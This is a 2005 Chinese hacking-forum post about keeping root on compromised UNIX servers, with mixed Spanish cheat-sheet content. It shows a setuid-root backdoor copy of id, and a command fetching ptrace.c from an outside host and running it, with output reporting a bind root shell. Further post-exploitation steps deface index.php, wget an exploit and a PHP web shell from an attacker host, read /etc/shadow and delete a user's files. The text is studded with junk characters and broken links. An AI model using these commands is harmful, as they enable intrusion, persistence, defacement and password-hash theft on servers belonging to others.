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标题: 总结UNIX成为root以后保持权限的方法 [打印本页]
作者: 韩冰    时间: 2005-2-4 23:57
标题: 总结UNIX成为root以后保持权限的方法
<><FONT color=#ff0000>by:cnbird</FONT></P>" W& F. U: @" A& N
<>1.</P>
2 C- |' f2 ?! Y( M1 b( ^; H9 h<>[cnbird@localhost tmp]#id</P>; M0 [# P0 \" |( `, @
<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
6 r% g5 P; ^; i0 f<>[cnbird@localhost tmp]#cp `which id ` .</P>  v, ]9 j2 J' P
<>[cnbird@localhost tmp]#chown root ./id</P>6 q' H: B: i  t4 p* y' h( ~  L/ b
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>& l; E0 \4 Z8 ?- A1 b# K- _
<>[cnbird@localhost tmp]#ls -l ./id</P>
. w/ U9 E" I. K& }( h9 E# n9 j! ~<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
6 B- l( @# ~  s: B2 \; X: o! \1 Y* P<>[cnbird@localhost tmp]#exit</P>
$ S  ?9 N+ K! P/ u: ~<>[cnbird@localhost tmp]$id</P>$ Y% F7 I" S8 ]! `/ [
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>
) ]* p" y2 U3 \, w4 [" u<>[cnbird@localhost tmp]$./id </P>+ s, M% Q, x6 y% L
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
: N. Z" V- m, ^1 n<>2.利用ptrace成为root的方法</P>
" Z% p$ [- G) w$ i<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
1 {4 C" q* Q9 b  R/ B-&gt; Parent's PID is 2313. Child's PID is 2314.& i8 [6 B6 J# k! E0 s
-&gt; Attaching to 2315...6 Z* ]9 X9 P1 G7 Z* ~6 b
-&gt; Got the thread!!
  u  q  j3 q% q1 q: `  i5 {# y-&gt; Waiting for the next signal...
) P% p3 p. |& t-&gt; Injecting shellcode at 0x4000e85d
: [# v1 L1 N5 [4 Y-&gt; Bind root shell on port 24876... =p
' B) x9 x: n/ ?-&gt; Detached from modprobe thread.
7 Q2 J  U3 y9 `6 C# v( P-&gt; Committing suicide.....</P>3 ]; `9 h5 `/ Z' o
<>[bash]# id
, i/ k$ G# s" h4 ]! s  f+ ^7 auid=0(root) gid=0(root) groups=0(root)</P>/ j' P* t/ [% d  X
<>ara ver los dominios que hay en el server:
8 C' f, M8 K" y, _* F---------------------------------------------------------
* D% ]3 G+ E/ ^9 {4 b) A3 Fcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios' V& R7 P+ ?0 M' E" a) P
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
% K3 o% S& l0 G9 k; q* ?/ Icat /etc/localdomains &lt;&lt; Unicamente los dominios locales$ _' o. `/ f* t8 J% K
cat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
1 A  n0 C8 C( Y& Scat /etc/userdomains &lt;&lt; Este es el mas comun5 V- o4 X6 N9 U' l2 }
---------------------------------------------------------</P>( b2 }: H3 S( }' E5 h% u
<>ara ver la version de kernel:* Y( ^& h) K6 R/ X' K
---------------------------------------------------------, N& n. g. M7 G( }8 l9 x, D: b
uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
1 }& @, F/ h7 g8 v! L, N( W---------------------------------------------------------</P>
. y  b( I  L: L' H/ Z0 {, D<>ara modificar un index ya existente:
& o0 [- \( P" X0 f, Q---------------------------------------------------------5 H5 t) s/ E  D8 O
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
2 Y) X, X% x7 F! L---------------------------------------------------------</P>
$ ^+ X4 y) O3 N& I  l! l' k<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:. ]  ~6 b- F# r; b
---------------------------------------------------------$ x! u# ^+ T2 o8 [
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
+ I8 X  o" z7 S5 `2 N2 P) X+ |# ecd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
; Q# h$ U$ b/ e8 B$ K6 [9 Pcd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". j6 P; j  `0 Y' W. [9 l6 B; h
cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
  l9 L, m1 Y2 N3 h1 w. oHasta aqui termina el proceso para un exploit.* Y) S' [+ I7 ~! A. n# S4 ]( C) z
---------------------------------------------------------</P>5 w/ J* r; `# s+ s
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:
- T* x! [  u2 z---------------------------------------------------------
9 J1 e( E. w% B' y: scat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
. d3 Y* D! k" N7 s1 ?: r$ Z) C5 a---------------------------------------------------------</P>6 j8 ]+ W% D$ U! C
<>Borrar un Ficher
6 m6 p0 E( ^/ I$ {: p, V---------------------------------------------------------1 S7 E- p: L4 t7 O
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
1 f9 N( e6 D! }0 ?---------------------------------------------------------</P>
# H3 F! H; X$ s% ^3 E! Y<>Subir un ficher9 d7 b! l& f: S3 d9 S3 y5 ?
---------------------------------------------------------
* U% x2 F8 Z4 \1 R6 ^  Wcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
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